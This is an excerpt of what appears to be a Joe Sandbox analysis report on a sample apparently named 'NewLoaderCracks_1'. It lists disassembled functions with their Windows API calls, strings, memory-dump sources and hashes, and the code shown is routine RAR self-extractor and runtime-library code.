Instruction Fuzzy Hash: AA11A47650010EAFCF11EF54C886CEE7FA9FF44355B5182A5BA088B626DE31DE519B80

Function 00542162 Relevance: 14.5, APIs: 5, Strings: 3, Instructions: 480COMMON

Download Yara Rule

Strings

;%u, xrefs: 00542497
xc%u, xrefs: 005426D7
x%u, xrefs: 0054267A

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID:
String ID: ;%u$x%u$xc%u
API String ID: 0-2277559157
Opcode ID: e950b648b68034566b74a0a74b80a7dcf787aa51a29b18bf4bd3d8373847f647
Instruction ID: 01d5e02ad77995d20c3d5be5e4c0ad8e0586c5b98c458ac6f43d95ee33495f05
Opcode Fuzzy Hash: e950b648b68034566b74a0a74b80a7dcf787aa51a29b18bf4bd3d8373847f647
Instruction Fuzzy Hash: 33F137706042515BDB15EF3888D9BFE7FA5BFD1308F484869FC85CB287DA649848C7A2

Function 0055ACD0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 98windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0054130B: GetDlgItem.USER32(00000000,00003021), ref: 0054134F
Part of subcall function 0054130B: SetWindowTextW.USER32(00000000,005735B4), ref: 00541365

EndDialog.USER32(?,00000001), ref: 0055AD20
SendMessageW.USER32(?,00000080,00000001,?), ref: 0055AD47
SendDlgItemMessageW.USER32(?,00000066,00000172,00000000,?), ref: 0055AD60
SetWindowTextW.USER32(?,?), ref: 0055AD71
GetDlgItem.USER32(?,00000065), ref: 0055AD7A
SendMessageW.USER32(00000000,00000435,00000000,00010000), ref: 0055AD8E
SendMessageW.USER32(00000000,00000443,00000000,00000000), ref: 0055ADA4

Strings

LICENSEDLG, xrefs: 0055ACE4

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: MessageSend$Item$TextWindow$Dialog
String ID: LICENSEDLG
API String ID: 3214253823-2177901306
Opcode ID: 91155a61c12332b9d2f5cd3610ab18b7b8415becff19baee8a6ee2fbe9485288
Instruction ID: ef49d60fecc82fc8000ef95ef599215a8a194ae3dd3b9bae493bf0511a9dfb57
Opcode Fuzzy Hash: 91155a61c12332b9d2f5cd3610ab18b7b8415becff19baee8a6ee2fbe9485288
Instruction Fuzzy Hash: F321A032244205BBD6216B75EC5EE3B3F7CFB66B47F010506FA45A24A0DA625909F632

Function 00549443 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136fileCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00549448
GetLongPathNameW.KERNEL32(?,?,00000800), ref: 0054946B
GetShortPathNameW.KERNEL32(?,?,00000800), ref: 0054948A

Part of subcall function 005517AC: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_000117AC,0054BB05,00000000,.exe,?,?,00000800,?,?,005585DF,?), ref: 005517C2

_swprintf.LIBCMT ref: 00549526

Part of subcall function 0054400A: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 0054401D

MoveFileW.KERNEL32(?,?), ref: 00549595
MoveFileW.KERNEL32(?,?), ref: 005495D5

Strings

rtmp%d, xrefs: 0054950F

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: FileMoveNamePath$CompareH_prologLongShortString__vswprintf_c_l_swprintf
String ID: rtmp%d
API String ID: 2111052971-3303766350
Opcode ID: d7e11763f10bae5827425b7bded0d52435b454d5fd3f9fea163d5ef4ce7933b4
Instruction ID: b817f63578da6cc268e802ec711dc0cc8d0488ef47ae1da4bfe0c6ba60bf49d2
Opcode Fuzzy Hash: d7e11763f10bae5827425b7bded0d52435b454d5fd3f9fea163d5ef4ce7933b4
Instruction Fuzzy Hash: AE41847190015A66DF20EB649C8AEDF7B7CBF95388F0444E5B549E3042EB348F88DB64

Function 00558E62 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 125memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?), ref: 00558F38
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000003,?,00000000,00000000), ref: 00558F59
CreateStreamOnHGlobal.COMBASE(00000000,00000001,00000000), ref: 00558F80

Strings

</html>, xrefs: 00558F0A
utf-8"></head>, xrefs: 00558EBD
<html>, xrefs: 00558EA7, 00558EE0
<head><meta http-equiv="content-type" content="text/html; charset=, xrefs: 00558EB2

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: Global$AllocByteCharCreateMultiStreamWide
String ID: </html>$<head><meta http-equiv="content-type" content="text/html; charset=$<html>$utf-8"></head>
API String ID: 4094277203-4209811716
Opcode ID: ba034f23d86ea8aa26ba5dcbe86584676495abf193bc7d387b503698514df257
Instruction ID: dff1ba037e0d62762bf187f73d83efa6b8197b26343246c6955a4907c3abaf20
Opcode Fuzzy Hash: ba034f23d86ea8aa26ba5dcbe86584676495abf193bc7d387b503698514df257
Instruction Fuzzy Hash: C43126311083166BD710AB20AC0AF7B7FA8FF96721F00401AFC01A71D1EF649A4DD3A5

Function 00568FA5 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00580EE8,00563E14,00580EE8,?,?,00563713,00000050,?,00580EE8,00000200), ref: 00568FA9
_free.LIBCMT ref: 00568FDC
_free.LIBCMT ref: 00569004
SetLastError.KERNEL32(00000000,?,00580EE8,00000200), ref: 00569011
SetLastError.KERNEL32(00000000,?,00580EE8,00000200), ref: 0056901D
_abort.LIBCMT ref: 00569023

Strings

XW, xrefs: 00568FF7

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: ErrorLast$_free$_abort
String ID: XW
API String ID: 3160817290-708546550
Opcode ID: b939a8d7f2ccdae3e33c3620d59187afde31821fe3bccf898912666ebe612e95
Instruction ID: e5b836b3e8fecf9f9e5c940c3cd9b677baf1a70c6e6038829605b5d3a548eabc
Opcode Fuzzy Hash: b939a8d7f2ccdae3e33c3620d59187afde31821fe3bccf898912666ebe612e95
Instruction Fuzzy Hash: B7F0C835504A126ACB2233687C0EB3B6D6ABFE1771F350214F519E3292EE21CD457525

Function 00550A8A Relevance: 12.1, APIs: 8, Instructions: 115timeCOMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00550A9D

Part of subcall function 0054ACF5: GetVersionExW.KERNEL32(?), ref: 0054AD1A

FileTimeToLocalFileTime.KERNEL32(?,00000001,00000000,?,00000064,00000000,00000001,00000000,?), ref: 00550AC0
FileTimeToSystemTime.KERNEL32(?,?,00000000,?,00000064,00000000,00000001,00000000,?), ref: 00550AD2
SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?), ref: 00550AE3
SystemTimeToFileTime.KERNEL32(?,?), ref: 00550AF3
SystemTimeToFileTime.KERNEL32(?,?), ref: 00550B03
FileTimeToSystemTime.KERNEL32(?,?), ref: 00550B3D
__aullrem.LIBCMT ref: 00550BCB

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion__aulldiv__aullrem
String ID:
API String ID: 1247370737-0
Opcode ID: cd4e2a14d0e783dce79d2a3a93031e74b13c96dc44fb48a42d52f742ecac3ccc
Instruction ID: 55a37237c102e83e6618b9c9d9a5ca8010c15208b8a130b364415a882da8d076
Opcode Fuzzy Hash: cd4e2a14d0e783dce79d2a3a93031e74b13c96dc44fb48a42d52f742ecac3ccc
Instruction Fuzzy Hash: 124127B14083069FC714DF64C88496FBBF8FB88725F004E2EF99692650E738E648DB52

Function 0056EE2D Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(?,00000000,?,?,?,?,?,?,?,0056F5A2,?,00000000,?,00000000,00000000), ref: 0056EE6F
__fassign.LIBCMT ref: 0056EEEA
__fassign.LIBCMT ref: 0056EF05
WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,?,00000005,00000000,00000000), ref: 0056EF2B
WriteFile.KERNEL32(?,?,00000000,0056F5A2,00000000,?,?,?,?,?,?,?,?,?,0056F5A2,?), ref: 0056EF4A
WriteFile.KERNEL32(?,?,00000001,0056F5A2,00000000,?,?,?,?,?,?,?,?,?,0056F5A2,?), ref: 0056EF83

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: ed418254ecec657695eb024ad9596b484f92bf50a0cf60f465eff0d1e0281b0e
Instruction ID: 427c0fa1bffd8e1b701ef0e929185b3f0867defff90e4e90ab6782a6bbb77218
Opcode Fuzzy Hash: ed418254ecec657695eb024ad9596b484f92bf50a0cf60f465eff0d1e0281b0e
Instruction Fuzzy Hash: 9451B074A012099FCB10CFA8D886AEEFFF9FF19710F24451AE955E7291E730A940CB60

Function 0055C534 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 135COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000800,?), ref: 0055C54A
_swprintf.LIBCMT ref: 0055C57E

Part of subcall function 0054400A: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 0054401D

SetDlgItemTextW.USER32(?,00000066,0058946A), ref: 0055C59E
_wcschr.LIBVCRUNTIME ref: 0055C5D1
EndDialog.USER32(?,00000001), ref: 0055C6B2

Strings

%s%s%u, xrefs: 0055C573

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: DialogItemPathTempText__vswprintf_c_l_swprintf_wcschr
String ID: %s%s%u
API String ID: 2892007947-1360425832
Opcode ID: 096e650fa414fa9241cd0421fc817ec34c7bf82fbeded449463d40d5b01894d9
Instruction ID: aa5e32ab6528f0ad9e2e3fb4c5c8eef1c7cee46881824559bd30888c6eff8653
Opcode Fuzzy Hash: 096e650fa414fa9241cd0421fc817ec34c7bf82fbeded449463d40d5b01894d9
Instruction Fuzzy Hash: EE41B771900618AEEF22DB94DC55EEA7FBCFB54306F0050A7E909E6060E7719BC8CB50

Function 00559635 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 108COMMON

Download Yara Rule

APIs

ShowWindow.USER32(?,00000000), ref: 0055964E
GetWindowRect.USER32(?,00000000), ref: 00559693
ShowWindow.USER32(?,00000005,00000000), ref: 0055972A
SetWindowTextW.USER32(?,00000000), ref: 00559732
ShowWindow.USER32(00000000,00000005), ref: 00559748

Strings

RarHtmlClassName, xrefs: 005596F4

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: Window$Show$RectText
String ID: RarHtmlClassName
API String ID: 3937224194-1658105358
Opcode ID: c1fcc5be988ac69c8d5fc882abc5269d4ceb5e9a836672810f325efadefa4326
Instruction ID: ca38a4887dfc8e51d90046f5031681512900ba6f09970b7aafac046761026967
Opcode Fuzzy Hash: c1fcc5be988ac69c8d5fc882abc5269d4ceb5e9a836672810f325efadefa4326
Instruction Fuzzy Hash: 0B31AE31004200EFCB119F68DC8DB6B7FA8FF59702F04855AFE499A162DB38D949DBA1

Function 0056BFB5 Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0056BF79: _free.LIBCMT ref: 0056BFA2

_free.LIBCMT ref: 0056C003

Part of subcall function 005684DE: RtlFreeHeap.NTDLL(00000000,00000000,?,0056BFA7,00573958,00000000,00573958,00000000,?,0056BFCE,00573958,00000007,00573958,?,0056C3CB,00573958), ref: 005684F4
Part of subcall function 005684DE: GetLastError.KERNEL32(00573958,?,0056BFA7,00573958,00000000,00573958,00000000,?,0056BFCE,00573958,00000007,00573958,?,0056C3CB,00573958,00573958), ref: 00568506

_free.LIBCMT ref: 0056C00E
_free.LIBCMT ref: 0056C019
_free.LIBCMT ref: 0056C06D
_free.LIBCMT ref: 0056C078
_free.LIBCMT ref: 0056C083
_free.LIBCMT ref: 0056C08E

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 11f2a1bb5d4160fb08a4b7348739aee2344f3630d5c617e2ee7e867637fc9caa
Instruction ID: eeb319f81cf9576bc9ae4bfdb1df5596f5ab1c277a5529a75f11906927068adb
Opcode Fuzzy Hash: 11f2a1bb5d4160fb08a4b7348739aee2344f3630d5c617e2ee7e867637fc9caa
Instruction Fuzzy Hash: AA111D71540B06F6EA20BBB0DC4AFDBFF997F80700F408925B299A7462DF65A9448B90

Function 005620CA Relevance: 10.6, APIs: 7, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,005620C1,0055FB12), ref: 005620D8
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 005620E6
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 005620FF
SetLastError.KERNEL32(00000000,?,005620C1,0055FB12), ref: 00562151

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 0ac3da19ff8ac971a29ab65b29336f062e9fe9e7508968d1549328684779bfcb
Instruction ID: 504c0c9a7b6cb9746c274c4f4bab4f4155e3fcfb55cdfb762b05b5afe1f8c33e
Opcode Fuzzy Hash: 0ac3da19ff8ac971a29ab65b29336f062e9fe9e7508968d1549328684779bfcb
Instruction Fuzzy Hash: 7C01D83220DB126EE7542BB5BC8A52A2E84FB76778B210B69F214571E1EF214C45F144

Function 00569029 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00580EE8,00000200,0056895F,005658FE,?,?,?,?,0054D25E,?,02E00180,00000063,00000004,0054CFE0,?), ref: 0056902E
_free.LIBCMT ref: 00569063
_free.LIBCMT ref: 0056908A
SetLastError.KERNEL32(00000000,00573958,00000050,00580EE8), ref: 00569097
SetLastError.KERNEL32(00000000,00573958,00000050,00580EE8), ref: 005690A0

Strings

XW, xrefs: 0056907E

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: ErrorLast$_free
String ID: XW
API String ID: 3170660625-708546550
Opcode ID: bc01057579930f6c6d6e1c8d2c5b45e41ce298050fe28fb44de855f852768069
Instruction ID: 7cfb72ce9f3452d55eec930072255d0d45fc5d5aeaaf11d602445618ae138285
Opcode Fuzzy Hash: bc01057579930f6c6d6e1c8d2c5b45e41ce298050fe28fb44de855f852768069
Instruction Fuzzy Hash: BC01F476505B026AC72267757C8E93B2E5DBBE13717300224F50AA3252EE70CC457161

Function 0055DC9A Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

Strings

AcquireSRWLockExclusive, xrefs: 0055DCC9
ReleaseSRWLockExclusive, xrefs: 0055DCD9
KERNEL32.DLL, xrefs: 0055DCB4

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID:
String ID: AcquireSRWLockExclusive$KERNEL32.DLL$ReleaseSRWLockExclusive
API String ID: 0-1718035505
Opcode ID: 2d6701aa7102424dd335a9dc7abbc6b33a5694881b93ed109759b0c7b6be7b1b
Instruction ID: c665c93274c033bdc20b5176b26870cca4ded8610cf18d570d3752b68f3e29b3
Opcode Fuzzy Hash: 2d6701aa7102424dd335a9dc7abbc6b33a5694881b93ed109759b0c7b6be7b1b
Instruction Fuzzy Hash: 2701F9336513225B4F305FB46CB92A66FB4BA52323320553BED45D3240EA91CC8DF6B0

Function 00568060 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0056807E

Part of subcall function 005684DE: RtlFreeHeap.NTDLL(00000000,00000000,?,0056BFA7,00573958,00000000,00573958,00000000,?,0056BFCE,00573958,00000007,00573958,?,0056C3CB,00573958), ref: 005684F4
Part of subcall function 005684DE: GetLastError.KERNEL32(00573958,?,0056BFA7,00573958,00000000,00573958,00000000,?,0056BFCE,00573958,00000007,00573958,?,0056C3CB,00573958,00573958), ref: 00568506

_free.LIBCMT ref: 00568090
_free.LIBCMT ref: 005680A3
_free.LIBCMT ref: 005680B4
_free.LIBCMT ref: 005680C5

Strings

W, xrefs: 00568074

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID: W
API String ID: 776569668-3818464504
Opcode ID: 34c266055796986cc4bb74a2223a2ec3bdfe839e944793ccec30201d195127b7
Instruction ID: e7ac5017bef17f77ddc358cd14d713df031edb693de805f613f9f7e871a32365
Opcode Fuzzy Hash: 34c266055796986cc4bb74a2223a2ec3bdfe839e944793ccec30201d195127b7
Instruction Fuzzy Hash: 4DF090B8801E328B8B516F16BC464257F64BB7A765B08474AF404DBE70CF314489BFD9

Function 00550CBE Relevance: 9.1, APIs: 6, Instructions: 94timeCOMMON

Download Yara Rule

APIs

SystemTimeToFileTime.KERNEL32(?,?), ref: 00550D0D

Part of subcall function 0054ACF5: GetVersionExW.KERNEL32(?), ref: 0054AD1A

LocalFileTimeToFileTime.KERNEL32(?,00550CB8), ref: 00550D31
FileTimeToSystemTime.KERNEL32(?,?), ref: 00550D47
TzSpecificLocalTimeToSystemTime.KERNEL32(00000000,?,?), ref: 00550D56
SystemTimeToFileTime.KERNEL32(?,00550CB8), ref: 00550D64
